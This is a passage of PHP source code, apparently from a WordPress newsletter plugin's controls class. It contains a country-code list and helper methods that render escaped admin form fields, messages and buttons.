        'RW' => 'Rwanda',
        'BL' => 'Saint Barthelemy',
        'SH' => 'Saint Helena',
        'KN' => 'Saint Kitts And Nevis',
        'LC' => 'Saint Lucia',
        'MF' => 'Saint Martin',
        'PM' => 'Saint Pierre And Miquelon',
        'VC' => 'Saint Vincent And Grenadines',
        'WS' => 'Samoa',
        'SM' => 'San Marino',
        'ST' => 'Sao Tome And Principe',
        'SA' => 'Saudi Arabia',
        'SN' => 'Senegal',
        'RS' => 'Serbia',
        'SC' => 'Seychelles',
        'SL' => 'Sierra Leone',
        'SG' => 'Singapore',
        'SK' => 'Slovakia',
        'SI' => 'Slovenia',
        'SB' => 'Solomon Islands',
        'SO' => 'Somalia',
        'ZA' => 'South Africa',
        'GS' => 'South Georgia And Sandwich Isl.',
        'ES' => 'Spain',
        'LK' => 'Sri Lanka',
        'SD' => 'Sudan',
        'SR' => 'Suriname',
        'SJ' => 'Svalbard And Jan Mayen',
        'SZ' => 'Swaziland',
        'SE' => 'Sweden',
        'CH' => 'Switzerland',
        'SY' => 'Syrian Arab Republic',
        'TW' => 'Taiwan',
        'TJ' => 'Tajikistan',
        'TZ' => 'Tanzania',
        'TH' => 'Thailand',
        'TL' => 'Timor-Leste',
        'TG' => 'Togo',
        'TK' => 'Tokelau',
        'TO' => 'Tonga',
        'TT' => 'Trinidad And Tobago',
        'TN' => 'Tunisia',
        'TR' => 'Turkey',
        'TM' => 'Turkmenistan',
        'TC' => 'Turks And Caicos Islands',
        'TV' => 'Tuvalu',
        'UG' => 'Uganda',
        'UA' => 'Ukraine',
        'AE' => 'United Arab Emirates',
        'GB' => 'United Kingdom',
        'UK' => 'United Kingdom',
        'US' => 'United States',
        'UM' => 'United States Outlying Islands',
        'UY' => 'Uruguay',
        'UZ' => 'Uzbekistan',
        'VU' => 'Vanuatu',
        'VE' => 'Venezuela',
        'VN' => 'Viet Nam',
        'VG' => 'Virgin Islands, British',
        'VI' => 'Virgin Islands, U.S.',
        'WF' => 'Wallis And Futuna',
        'EH' => 'Western Sahara',
        'YE' => 'Yemen',
        'ZM' => 'Zambia',
        'ZW' => 'Zimbabwe',
        'XX' => 'Undefined',
        'CW' => 'CuraƧao',
        'SS' => 'South Sudan',
        'EU' => 'Europe (generic)',
        'A1' => 'Anonymous IP',
        'A2' => 'Satellite IP',
        'XK' => 'Kosovo'
    );

    /**
     *
     * @param array $options
     */
    function __construct($options = null) {
        if ($options === null) {
            // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing
            $this->data = wp_unslash($_POST['options'] ?? []);
        } else {
            $this->data = (array) $options;
        }

        // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing
        $this->action = sanitize_key($_REQUEST['act'] ?? '');

        // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing
        $this->button_data = sanitize_key($_REQUEST['btn'] ?? '');

        // Fields analysis
        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
        if (isset($_REQUEST['tnp_fields'])) {
            // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            $fields = wp_unslash($_REQUEST['tnp_fields']);
            if (is_array($fields)) {
                foreach ($fields as $name => $type) {
                    if ($type === 'datetime') {
                        // Ex. The user insert 01/07/2012 14:30 and it set the time zone to +2. We cannot use the
                        // mktime, since it uses the time zone of the machine. We create the time as if we are on
                        // GMT 0 and then we subtract the GMT offset (the example date and time on GMT+2 happens
                        // "before").
                        // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.NonceVerification.Recommended
                        $time = gmmktime((int) $_REQUEST[$name . '_hour'], 0, 0, (int) $_REQUEST[$name . '_month'], (int) $_REQUEST[$name . '_day'], (int) $_REQUEST[$name . '_year']);
                        $time -= get_option('gmt_offset') * 3600;
                        $this->data[$name] = $time;
                        continue;
                    }
                    if ($type === 'array') {
                        if (!isset($this->data[$name])) {
                            $this->data[$name] = [];
                        }
                        continue;
                    }
                    if ($type === 'checkbox') {
                        if (!isset($this->data[$name])) {
                            $this->data[$name] = 0;
                        }
                        continue;
                    }
                    if ($type === 'encoded') {
                        // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode
                        $this->data[$name] = rawurldecode(base64_decode($this->data[$name]));
                        continue;
                    }
                }
            }
        }
    }

    function set_data($data) {
        $this->data = (array) $data;
    }

    function merge($options) {
        if (!is_array($options))
            return;
        if ($this->data == null)
            $this->data = [];
        $this->data = array_merge($this->data, $options);
    }

    function merge_defaults($defaults) {
        if ($this->data == null)
            $this->data = $defaults;
        else
            $this->data = array_merge($defaults, $this->data);
    }

    /**
     * Return true is there in an asked action is no action name is specified or
     * true is the requested action matches the passed action.
     * Dies if it is not a safe call.
     */
    function is_action($action = null) {
        if (empty($this->action)) {
            return false;
        }

        return ($action === null || $this->action === $action) && check_admin_referer('save');
    }

    function get_value($name, $def = null) {
        if (!isset($this->data[$name])) {
            return $def;
        }
        return $this->data[$name];
    }

    function get_value_array($name) {
        if (!isset($this->data[$name]) || !is_array($this->data[$name]))
            return [];
        return $this->data[$name];
    }

    function show_error($text) {
        echo '<div class="tnp-error">', wp_kses_post($text), '</div>';
    }

    function show_warning($text) {
        echo '<div class="tnp-warning">', wp_kses_post($text), '</div>';
    }

    function show_message($text) {
        echo '<div class="tnpc-message">', wp_kses_post($text), '</div>';
    }

    /**
     * Show the errors and messages.
     */
    function show() {
        static $shown = false;

        if ($shown) {
            return;
        }
        $shown = true;

        if (!empty($this->errors)) {
            if (is_array($this->errors)) {
                foreach ((array) $this->errors as $text) {
                    echo '<div class="tnpc-error">';
                    echo wp_kses_post($text);
                    echo '</div>';
                }
            } else {
                echo '<div class="tnpc-error">';
                echo wp_kses_post($this->errors);
                echo '</div>';
            }
        }
        if (!empty($this->warnings)) {
            foreach ((array) $this->warnings as $warning) {
                echo '<div class="tnpc-warning">';
                echo wp_kses_post($warning);
                echo '</div>';
            }
        }
        if (!empty($this->messages)) {
            echo '<div class="tnpc-message">';
            echo wp_kses_post($this->messages);
            echo '</div>';
        }

        if (!empty($this->toasts)) {
            echo '<script>';
            foreach ($this->toasts as $toast) {
                echo 'TNP.toast(\'', esc_js($toast), '\');';
            }
            echo '</script>';
        }
    }

    function add_toast($text) {
        $this->toasts[] = $text;
    }

    function add_message($text) {
        if (!empty($this->messages)) {
            $this->messages .= '<br><br>';
        }
        $this->messages .= $text;
    }

    function add_message_saved() {
        if (!empty($this->messages)) {
            $this->messages .= '<br><br>';
        }
        $this->messages .= __('Saved.', 'newsletter');
    }

    function add_toast_saved() {
        $this->toasts[] = __('Saved.', 'newsletter');
    }

    function add_toast_done() {
        $this->toasts[] = __('Done.', 'newsletter');
    }

    function add_toast_deleted() {
        $this->toasts[] = __('Deleted.', 'newsletter');
    }

    function add_message_deleted() {
        if (!empty($this->messages)) {
            $this->messages .= '<br><br>';
        }
        $this->messages .= __('Deleted.', 'newsletter');
    }

    function add_message_reset() {
        if (!empty($this->messages)) {
            $this->messages .= '<br><br>';
        }
        $this->messages .= __('Options reset.', 'newsletter');
    }

    function add_message_done() {
        if (!empty($this->messages)) {
            $this->messages .= '<br><br>';
        }
        $this->messages .= __('Done.', 'newsletter');
    }

    function add_language_warning() {
        $newsletter = NewsletterAdmin::instance();
        $current_language = $newsletter->get_current_language();

        if (!$current_language) {
            return;
        }
        $this->warnings[] = 'You are configuring the language <strong>' . esc_html($newsletter->get_language_label($current_language)) . '</strong>. Switch to "all languages" to see all options.';
    }

    /**
     *
     * @return string
     *
     * @todo Internationalization
     */
    function language_notice() {
        NewsletterAdmin::instance()->language_notice();
    }

    /**
     *
     * @return string
     * @deprecated
     */
    function switch_to_all_languages_notice() {
        if (!NewsletterAdmin::instance()->language()) {
            return;
        }
        echo '<div class="tnpc-language-notice">';

        echo 'You are configuring the language <strong>', esc_html(NewsletterAdmin::instance()->get_language_label($current_language)), '</strong>. Switch to "all languages" to see all options.';

        echo '</div>';
    }

    function hint($text, $url = '') {
        echo '<div class="tnpc-hint">';
        echo wp_kses_post($text);
        if (!empty($url)) {
            echo ' <a href="', esc_attr($url), '" target="_blank">Read more</a>.';
        }
        echo '</div>';
    }

    function user_status($name = 'status') {
        $this->select($name, [
            'C' => TNP_User::get_status_label('C'),
            'S' => TNP_User::get_status_label('S'),
            'U' => TNP_User::get_status_label('U'),
            'B' => TNP_User::get_status_label('B'),
            'P' => TNP_User::get_status_label('P')
        ]);
    }

    function gender($name) {
        $this->select($name, ['n' => __('Not specified', 'newsletter'), 'f' => __('Female', 'newsletter'), 'm' => __('Male', 'newsletter')]);
    }

    function yesno($name) {
        $value = isset($this->data[$name]) ? (int) $this->data[$name] : 0;

        echo '<select style="width: 60px" name="options[', esc_attr($name), ']">';
        echo '<option value="0"';
        if ($value == 0) {
            echo ' selected';
        }
        echo '>', esc_html__('No', 'newsletter'), '</option>';
        echo '<option value="1"';
        if ($value == 1) {
            echo ' selected';
        }
        echo '>', esc_html__('Yes', 'newsletter'), '</option>';
        echo '</select>&nbsp;&nbsp;&nbsp;';
    }

    function showhide($name) {
        $value = isset($this->data[$name]) ? (int) $this->data[$name] : 0;

        echo '<select style="width: auto" name="options[', esc_attr($name), ']">';
        echo '<option value="0"';
        if ($value == 0) {
            echo ' selected';
        }
        echo '>', esc_html__('Hide', 'newsletter'), '</option>';
        echo '<option value="1"';
        if ($value == 1) {
            echo ' selected';
        }
        echo '>', esc_html__('Show', 'newsletter'), '</option>';
        echo '</select>';
    }

    function enabled($name = 'enabled', $attrs = []) {
        $value = (int) ($this->data[$name] ?? 0);

        echo '<select style="width: 100px" name="options[', esc_attr($name), ']" id="options-', esc_attr($name), '"';
        if (isset($attrs['bind_to'])) {
            echo ' onchange="tnp_select_toggle(this, \'', esc_attr($attrs['bind_to']), '\')"';
        }
        echo '>';
        echo '<option value="0"';
        if ($value === 0) {
            echo ' selected';
        }
        echo '>', esc_html__('Disabled', 'newsletter'), '</option>';
        echo '<option value="1"';
        if ($value === 1) {
            echo ' selected';
        }
        echo '>', esc_html__('Enabled', 'newsletter'), '</option>';
        echo '</select>';
        if (isset($attrs['bind_to'])) {
            if ($value) {
                echo '<script>jQuery(function ($) {$("#options-', esc_attr($attrs['bind_to']), '").show()})</script>';
            } else {
                echo '<script>jQuery(function ($) {$("#options-', esc_attr($attrs['bind_to']), '").hide()})</script>';
            }
        }
    }

    function disabled($name) {
        $value = isset($this->data[$name]) ? (int) $this->data[$name] : 0;

        echo '<select style="width: 100px" name="options[' . esc_attr($name) . ']">';
        echo '<option value="0"';
        if ($value == 0) {
            echo ' selected';
        }
        echo '>Enabled</option>';
        echo '<option value="1"';
        if ($value == 1) {
            echo ' selected';
        }
        echo '>Disabled</option>';
        echo '</select>';
    }

    /**
     * Creates a set of checkbox all named as $name with values and labels extracted from
     * $values_labels. A checkbox will be checked if internal data under key $name is an array
     * and contains the value of the current (echoing) checkbox.
     *
     * On submit it produces an array under the name $name IF at least one checkbox has
     * been checked. Otherwise the key won't be present.
     *
     * @param array $values
     * @param string $name
     * @param array $values_labels
     */
    function checkboxes_group($name, $values_labels, $attrs = []) {
        $value_array = $this->get_value_array($name);

        echo '<div class="tnpc-checkboxes">';
        foreach ($values_labels as $value => $label) {
            echo '<label><input type="checkbox" id="', esc_attr($name), '" name="options[', esc_attr($name), '][]" value="', esc_attr($value), '"';
            // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
            if (array_search($value, $value_array) !== false) {
                echo ' checked';
            }
            if (!empty($attrs['disabled'])) {
                echo ' disabled';
            }
            echo '>';
            if ($label != '') {
                echo '&nbsp;' . esc_html($label);
            }
            echo "</label>";
        }
        echo "<div style='clear: both'></div>";
    }

    /** Creates a checkbox group with all public post types.
     */
    function post_types($name = 'post_types') {
        $list = array();
        $post_types = get_post_types(['public' => true], 'objects', 'and');
        foreach ($post_types as $post_type) {
            $list[$post_type->name] = $post_type->labels->name;
        }

        $this->checkboxes_group($name, $list);
    }

    function posts_select($name, $max = 20, $args = array()) {
        $args = array_merge(array(
            'posts_per_page' => 5,
            'offset' => 0,
            'category' => '',
            'category_name' => '',
            'orderby' => 'date',
            'order' => 'DESC',
            'include' => '',
            'exclude' => '',
            'meta_key' => '',
            'meta_value' => '',
            'post_type' => 'post',
            'post_mime_type' => '',
            'post_parent' => '',
            'author' => '',
            'author_name' => '',
            'post_status' => 'publish',
            'suppress_filters' => true
                ), $args);
        $args['posts_per_page'] = $max;

        $posts = get_posts($args);
        $options = array();
        foreach ($posts as $post) {
            $options['' . $post->ID] = $post->post_title;
        }

        $this->select($name, $options);
    }

    function select_number($name, $min, $max) {
        $options = array();
        for ($i = $min; $i <= $max; $i++) {
            $options['' . $i] = $i;
        }
        $this->select($name, $options);
    }

    /**
     *
     * @param string $name Control name
     * @param string $first LAbel for the first empty entry (if null: not shown)
     * @param string $language Language code to extract the pages only for that language
     * @param bool $show_id Show the page ID near the page title
     */

    function page($name = 'page', $first = null, $language = '', $show_id = false) {
        $args = array(
            'post_type' => 'page',
            // phpcs:ignore WordPress.WP.PostsPerPage.posts_per_page_posts_per_page
            'posts_per_page' => 1500,
            'offset' => 0,
            'orderby' => 'post_title',
            'post_status' => 'any',
            'suppress_filters' => true
        );

        $pages = get_posts($args);
        $options = [];
        foreach ($pages as $page) {
            /* @var $page WP_Post */
            $label = $page->post_title;
            if ($page->post_status != 'publish') {
                $label .= ' (' . $page->post_status . ')';
            }
            if ($show_id) {
                $label .= ' [#' . $page->ID . ']';
            }
            $options[$page->ID] = $label;
        }
        $this->select($name, $options, $first);
    }

    /**
     * Selector for a WP page or a custom URL.
     *
     * @param string $name
     * @param string $language
     * @param bool $show_id
     */
    function page_or_url($name = 'page', $language = '', $show_id = true) {
        $args = array(
            'post_type' => 'page',
            // phpcs:ignore WordPress.WP.PostsPerPage.posts_per_page_posts_per_page
            'posts_per_page' => 200,
            'offset' => 0,
            'orderby' => 'post_title',
            'post_status' => 'any',
            'suppress_filters' => true
        );

        $pages = get_posts($args);
        //$pages = get_pages();
        $options = ['url' => 'Custom URL'];
        foreach ($pages as $page) {
            /* @var $page WP_Post */
            $label = $page->post_title;
            if ($page->post_status != 'publish') {
                $label .= ' (' . $page->post_status . ')';
            }
            if ($show_id) {
                $label .= ' [#' . $page->ID . ']';
            }
            $options[$page->ID] = $label;
        }

        $this->select($name . '_id', $options, __('None', 'newsletter'), ['onchange' => 'jQuery(\'#options-' . esc_attr($name) . '_url\').toggle(this.value===\'url\');']);
        echo '<br><br>';
        $this->text($name . '_url', ['visible' => $this->get_value($name . '_id') === 'url', 'placeholder' => 'https://']);
    }

    /** Used to create a select which is part of a group of controls identified by $name that will
     * produce an array of values as $_REQUEST['name'].
     * @param string $name
     * @param array $options Associative array
     */
    function select_group($name, $options) {
        $value_array = $this->get_value_array($name);

        echo '<select name="options[', esc_attr($name), '][]">';

        foreach ($options as $key => $label) {
            echo '<option value="' . esc_attr($key) . '"';
            // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
            if (array_search($key, $value_array) !== false) {
                echo ' selected';
            }
            echo '>', esc_html($label), '</option>';
        }

        echo '</select>';
    }

    function select($name, $options, $first = null, $attrs = []) {
        if (!is_array($options)) {
            $this->hidden($name); // To preserve the value
        }
        echo '<select id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']"';
        if ($attrs && is_array($attrs)) {
            foreach ($attrs as $key => $value) {
                echo ' ', esc_attr($key), '="', esc_attr($value), '"';
            }
        }
        echo '>';
        if (!empty($first)) {
            echo '<option value="">', esc_html($first), '</option>';
        }
        $value = $this->get_value($name);
        foreach ($options as $key => $label) {
            echo '<option value="', esc_attr($key), '"';
            if ($value == $key) {
                echo ' selected';
            }
            echo '>', esc_html($label), '</option>';
        }
        echo '</select>';
    }

    function optin($name = 'optin') {
        $this->select('optin', ['' => __('Default', 'newsletter'), 'double' => __('Double', 'newsletter'), 'single' => __('Single', 'newsletter')]);
        echo '<p>Default: ', NewsletterSubscription::instance()->is_double_optin() ? esc_html__('Double', 'newsletter') : esc_html__('Single', 'newsletter'), '</p>';
    }

    function select_images($name, $options, $first = null) {
        $value = $this->get_value($name);

        echo '<select id="options-' . esc_attr($name) . '" name="options[' . esc_attr($name) . ']" style="min-width: 200px">';
        if (!empty($first)) {
            echo '<option value="">' . esc_html($first) . '</option>';
        } else {
//            if (empty($value)) {
//                $keys = array_keys($options);
//                $value = $keys[0];
//            }
        }
        foreach ($options as $key => $data) {
            echo '<option value="' . esc_attr($key) . '" image="' . esc_attr($data['image']) . '"';
            if ($value == $key)
                echo ' selected';
            echo '>' . esc_html($data['label']) . '</option>';
        }
        echo '</select>';
        echo '<script>jQuery("#options-' . esc_attr($name) . '").select2({templateResult: tnp_select_images, templateSelection: tnp_select_images_selection});</script>';
    }

    function select2($name, $options, $first = null, $multiple = false, $style = null, $placeholder = '') {

        if ($multiple) {
            $option_name = "options[" . $name . "][]";
            echo '<input type="hidden" name="tnp_fields[' . esc_attr($name) . ']" value="array">';
        } else {
            $option_name = "options[" . $name . "]";
        }

        if (is_null($style)) {
            $style = 'width: 100%';
        }

        $value = $this->get_value($name);

        echo '<select id="options-', esc_attr($name), '" name="', esc_attr($option_name), '" style="', esc_attr($style), '"',
        ($multiple ? ' multiple' : ''), '>';
        if (!empty($first)) {
            echo '<option value="">', esc_html($first), '</option>';
        }

        foreach ($options as $key => $data) {
            echo '<option value="', esc_attr($key), '"';
            // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
            if (is_array($value) && in_array($key, $value) || (!is_null($value) && $value == $key )) {
                echo ' selected';
            }
            echo '>', esc_html($data), '</option>';
        }

        echo '</select>';
        echo '<script>jQuery("#options-' . esc_attr($name) . '").select2({placeholder: "', esc_js($placeholder), '"});</script>';
    }

    function select_grouped($name, $groups) {
        $value = $this->get_value($name);
        echo '<select name="options[', esc_attr($name), ']">';

        foreach ($groups as $group) {
            echo '<optgroup label="', esc_attr($group['']), '">';
            if (!empty($group)) {
                foreach ($group as $key => $label) {
                    if ($key == '') {
                        continue;
                    }
                    echo '<option value="', esc_attr($key), '"';
                    if ($value == $key) {
                        echo ' selected';
                    }
                    echo '>', esc_html($label), '</option>';
                }
            }
            echo '</optgroup>';
        }
        echo '</select>';
    }

    /**
     * Generated a select control with all available templates. From version 3 there are
     * only on kind of templates, they are no more separated by type.
     */
    function themes($name, $themes, $submit_on_click = true) {
        foreach ($themes as $key => $data) {
            echo '<label style="display: block; float: left; text-align: center; margin-right: 10px;">';
            echo esc_html($key) . '<br>';
            echo '<img src="' . esc_attr($data['screenshot']) . '" width="100" height="100" style="border: 1px solid #666; padding: 5px"><br>';
            echo '<input style="position: relative; top: -40px" type="radio" onchange="this.form.act.value=\'theme\';this.form.submit()" name="options[' . esc_attr($name) . ']" value="' . esc_attr($key) . '"';
            if ($this->data[$name] == $key) {
                echo ' checked';
            }
            echo '>';
            echo '</label>';
        }
        echo '<div style="clear: both"></div>';
    }

    function value($name) {
        echo esc_html($this->data[$name]);
    }

    function value_date($name, $show_remaining = true) {
        $time = $this->get_value($name);

        echo esc_html(gmdate(get_option('date_format') . ' ' . get_option('time_format'), $time + get_option('gmt_offset') * 3600));
        $delta = $time - time();
        if ($show_remaining && $delta > 0) {
            echo 'Remaining: ';
            $delta = $time - time();
            $days = floor($delta / (24 * 3600));
            $delta = $delta - $days * 24 * 3600;
            $hours = floor($delta / 3600);
            $delta = $delta - $hours * 3600;
            $minutes = floor($delta / 60);

            if ($days > 0) {
                echo (int) $days, ' days ';
            }
            echo (int) $hours, ' hours ';
            echo (int) $minutes, ' minutes ';
        }
    }

    function password($name, $size = 20, $placeholder = '') {
        $value = $this->get_value($name);
        echo '<input id="options-', esc_attr($name), '" placeholder="' . esc_attr($placeholder) . '" name="options[', esc_attr($name), ']" type="password" autocomplete="off" ';
        if (!empty($size)) {
            echo 'size="', (int) $size, '" ';
        }
        echo 'value="', esc_attr($value), '">';
    }

    function text($name, $attrs = [], $placeholder = '') {
        if (!is_array($attrs)) {
            $attrs = ['size' => $attrs, 'placeholder' => $placeholder];
        }
        $attrs = array_merge(['placeholder' => '', 'size' => 40, 'required' => false, 'visible' => true], $attrs);
        $value = $this->get_value($name);
        $style = '';
        if (isset($attrs['width'])) {
            $style = 'width: ' . ((int)$attrs['width']) . 'px;';
        }
        if (!$attrs['visible']) {
            $style .= 'display: none;';
        }
        echo '<input id="options-', esc_attr($name), '" placeholder="', esc_attr($attrs['placeholder']), '" title="',
        esc_attr($attrs['placeholder']), '" name="options[', esc_attr($name), ']" type="text" ',
        'style="', esc_attr($style), '"';
        if (!empty($attrs['size'])) {
            echo ' size="', esc_attr($attrs['size']), '" ';
        }
        echo ' value="', esc_attr($value), '">';
    }

    function text_email($name, $attrs = []) {
        if (is_numeric($attrs)) {
            $attrs = ['size' => $attrs];
        }
        $attrs = array_merge(['placeholder' => __('Valid email address', 'newsletter'), 'size' => 40, 'required' => false], $attrs);

        $value = $this->get_value($name);
        echo '<input name="options[' . esc_attr($name) . ']" type="email" placeholder="';
        echo esc_attr($attrs['placeholder']);
        echo '" size="', esc_attr($attrs['size']), '" value="', esc_attr($value), '"';
        if ($attrs['required']) {
            echo ' required';
        }

        echo '>';
    }

    function text_url($name, $attrs = []) {
        if (!is_array($attrs)) {
            $attrs = [];
        }
        $attrs = array_merge(['visible' => true, 'size' => 40, 'placeholder' => 'https://...'], $attrs);
        $style = '';
        if (!$attrs['visible']) {
            $style .= 'display: none;';
        }
        $value = $this->get_value($name);
        echo '<input id="options-', esc_attr($name), '" name="options[', esc_attr($name), ']" type="url" placeholder="' . esc_attr($attrs['placeholder']) . '" size="' . esc_attr($attrs['size']) . '" value="';
        echo esc_attr($value), '" style="', esc_attr($style), '">';
    }

    function hidden($name) {
        $value = $this->get_value($name);
        echo '<input name="options[', esc_attr($name), ']" id="options-', esc_attr($name), '" type="hidden" value="', esc_attr($value), '">';
    }

    /**
     * General button. Attributes:
     * - id: the element HTML id
     * - confirm: if string the text is shown in a confirmation message, if true shows a standard confirm message
     * - icon: the font awesome icon name (fa-xxx)
     * - style: the CSS style
     * - data: free data associated to the button click ($controls->button_data) for example to pass the element ID from a list of elements
     *
     * @param string $action
     * @param string $label
     * @param array $attrs
     */
    function btn($action, $label, $attrs = []) {
        $action = sanitize_key($action);

        if (isset($attrs['tertiary'])) {
            echo '<button class="button-secondary button-tertiary tnpc-button"';
        } elseif (isset($attrs['secondary'])) {
            echo '<button class="button-secondary tnpc-button"';
        } else {
            echo '<button class="button-primary tnpc-button"';
        }
        if (isset($attrs['id'])) {
            echo ' id="', esc_attr($attrs['id']), '"';
        }

        if (isset($attrs['disabled']) && $attrs['disabled']) {
            echo ' disabled';
        }

        $onclick = "this.form.act.value='" . esc_attr(esc_js(trim($action))) . "';";
        if (!empty($attrs['data'])) {
            $onclick .= "this.form.btn.value='" . esc_attr(esc_js($attrs['data'])) . "';";
        }
        if (isset($attrs['confirm'])) {
            if (is_string($attrs['confirm'])) {
                $onclick .= "if (!confirm('" . esc_attr(esc_js($attrs['confirm'])) . "')) return false;";
            } elseif ($attrs['confirm'] === true) {
                $onclick .= "if (!confirm('" . esc_attr(esc_js(__('Proceed?', 'newsletter'))) . "')) return false;";
            }
        }
        echo ' onclick="', esc_attr($onclick), '"';
        if (!empty($attrs['title'])) {
            echo ' title="', esc_attr($attrs['title']), '"';
        }
        if (!empty($attrs['style'])) {
            echo ' style="', esc_attr($attrs['style']), '"';
        }
        echo '>';
        if (!empty($attrs['icon'])) {
            echo '<i class="fas ', esc_attr($attrs['icon']), '"></i>';
            if (!empty($label)) {
                echo '&nbsp;', esc_html($label);
            }
        } else {
            echo esc_html($label);
        }
        echo '</button>';
    }

    /**
     * Creates a link looking lie a standard button. Attributes:
     * - title: the link "title" HTML attribute
     * - target: the link "target" HTML attribute
     * - icon: the font awesome icon name (fa-xxx)
     * - style: the CSS style
     *
     * @param string $url
     * @param string $label
     * @param array $attrs
     */
    function btn_link($url, $label, $attrs = []) {
        if (isset($attrs['tertiary'])) {
            echo '<a href="', esc_attr($url), '" class="button-secondary button-tertiary tnpc-button"';
        } elseif (isset($attrs['secondary'])) {
            echo '<a href="', esc_attr($url), '" class="button-secondary tnpc-button"';
        } else {
            echo '<a href="', esc_attr($url), '" class="button-primary tnpc-button"';
        }
        if (!empty($attrs['style'])) {
            echo ' style="', esc_attr($attrs['style']), '"';
        }
        if (!empty($attrs['title'])) {
            echo ' title="', esc_attr($attrs['title']), '"';
        }
        if (!empty($attrs['id'])) {
            echo ' id="', esc_attr($attrs['id']), '"';
        }
        if (!empty($attrs['target'])) {
            echo ' target="', esc_attr($attrs['target']), '"';
        }
        echo '>';
        if (!empty($attrs['icon'])) {
            echo '<i class="fas ', esc_attr($attrs['icon']), '"></i>';
            if (!empty($label)) {
                echo '&nbsp;', esc_html($label);
            }
        } else {
            echo esc_html($label);
        }
        echo '</a>';
    }

    function button($action, $label, $function = '', $id = '') {
        $action = sanitize_key($action);

        if ($function != null) {
            echo '<input id="' . esc_attr($id) . '" class="button-primary tnpc-button" type="button" value="' . esc_attr($label) . '" onclick="this.form.act.value=\'' . esc_attr($action) . '\';' . esc_html($function) . '"/>';
        } else {
            echo '<input id="' . esc_attr($id) . '" class="button-primary tnpc-button" type="submit" value="' . esc_attr($label) . '" onclick="this.form.act.value=\'' . esc_attr($action) . '\';return true;"/>';
        }
    }

    function action_link($action, $label, $function = null) {
        $action = sanitize_key($action);
        if ($function != null) {
            echo '<input class="button-link tnpc-button" type="button" value="' . esc_attr($label) . '" onclick="this.form.act.value=\'' . esc_attr($action) . '\';' . esc_html($function) . '"/>';
        } else {
            echo '<input class="button-link tnpc-button" type="submit" value="' . esc_attr($label) . '" onclick="this.form.act.value=\'' . esc_attr($action) . '\';return true;"/>';
        }
    }

    function button_save() {
        $this->btn('save', __('Save', 'newsletter'), ['icon' => 'fa-save']);
    }

    function button_link_save($url) {
        $this->btn_link($url, __('Save', 'newsletter'), ['icon' => 'fa-save']);
    }

    function button_reset($action = 'reset') {
        $this->btn($action, __('Reset', 'newsletter'), ['icon' => 'fa-reply', 'confirm' => true, 'secondary' => true]);
    }

    function button_copy($data = '') {
        $this->btn('copy', __('Duplicate', 'newsletter'), ['data' => $data, 'icon' => 'fa-copy', 'confirm' => true]);
    }

    function button_icon_copy($data = '') {
        $this->btn('copy', '', ['secondary' => true, 'data' => $data, 'icon' => 'fa-copy', 'confirm' => true, 'title' => __('Duplicate', 'newsletter')]);
    }

    /**
     * Creates a button with "delete" action.
     * @param type $data
     */
    function button_delete($data = '') {
        $this->btn('delete', __('Delete', 'newsletter'), ['data' => $data, 'icon' => 'fa-times', 'confirm' => true, 'style' => 'background-color: darkred; color: #ffffff']);
    }

    function button_icon_delete($data = '', $attrs = []) {
        //if (isset($attrs['secondary'])) {
        //    $style = 'background-color: transparent; color: darkred !important;';
        //} else {
        $style = 'background-color: darkred; color: #ffffff';
        //}
        $this->btn('delete', '', ['data' => $data, 'icon' => 'fa-times', 'confirm' => true, 'title' => __('Delete', 'newsletter'), 'style' => $style]);
    }

    function button_icon_configure($url, $attrs = []) {
        $this->btn_link($url, '', array_merge(['icon' => 'fa-cog', 'title' => __('Configure', 'newsletter')], $attrs));
    }

    function button_icon_subscribers($url) {
        $this->btn_link($url, '', ['icon' => 'fa-users', 'title' => __('Subscribers', 'newsletter')]);
    }

    function button_statistics($url) {
        $this->btn_link($url, __('Statistics', 'newsletter'), ['icon' => 'fa-chart-bar']);
    }

    function button_icon_statistics($url, $attrs = []) {
        $this->btn_link($url, '', array_merge(['secondary' => true, 'icon' => 'fa-chart-bar', 'title' => __('Statistics', 'newsletter')], $attrs));
    }

    function button_icon_view($url) {
        $this->btn_link($url, '', ['secondary' => true, 'icon' => 'fa-eye', 'title' => __('View', 'newsletter'), 'target' => '_blank']);
    }

    function button_icon_newsletters($url) {
        $this->btn_link($url, '', ['icon' => 'fa-copy', 'title' => __('Newsletters', 'newsletter')]);
    }

    function button_icon_design($url) {
        $this->btn_link($url, '', ['icon' => 'fa-paint-brush', 'title' => __('Design', 'newsletter')]);
    }

    function button_icon_edit($url, $attrs = []) {
        $attrs = array_merge(['icon' => 'fa-edit', 'title' => __('Edit', 'newsletter')], $attrs);
        $this->btn_link($url, '', $attrs);
    }

    function button_icon_back($url) {
        $this->btn_link($url, '', ['secondary' => true, 'icon' => 'fa-chevron-left', 'title' => __('Back', 'newsletter')]);
    }

    function button_icon($action, $icon, $title = '', $data = '', $confirm = false) {
        $this->btn($action, '', ['data' => $data, 'icon' => $icon, 'title' => $title, 'confirm' => $confirm]);
    }

    function button_back($url) {
        $this->btn_link($url, __('Back', 'newsletter'), ['icon' => 'fa-chevron-left', 'tertiary' => true]);
    }

    function button_test($action = 'test') {
        $this->btn($action, __('Test', 'newsletter'), ['icon' => 'fa-vial']);
    }

    /**
     * @deprecated
     */
    function button_primary($action, $label, $function = null) {
        $action = sanitize_key($action);
        if ($function != null) {
            echo '<button class="button-primary" onclick="this.form.act.value=\'' . esc_attr($action) . '\';' . esc_attr($function) . '">', $label, '</button>';
        } else {
            echo '<button class="button-primary" onclick="this.form.act.value=\'' . esc_attr($action) . '\'; return true;"/>', $label, '</button>';
        }
    }

    function button_confirm($action, $label, $message = true, $data = '') {
        $this->btn($action, $label, ['data' => $data, 'confirm' => $message]);
    }

    function button_confirm_secondary($action, $label, $message = true, $data = '') {
        $this->btn($action, $label, ['data' => $data, 'confirm' => $message, 'secondary' => true]);
    }

    /**
     * @deprecated
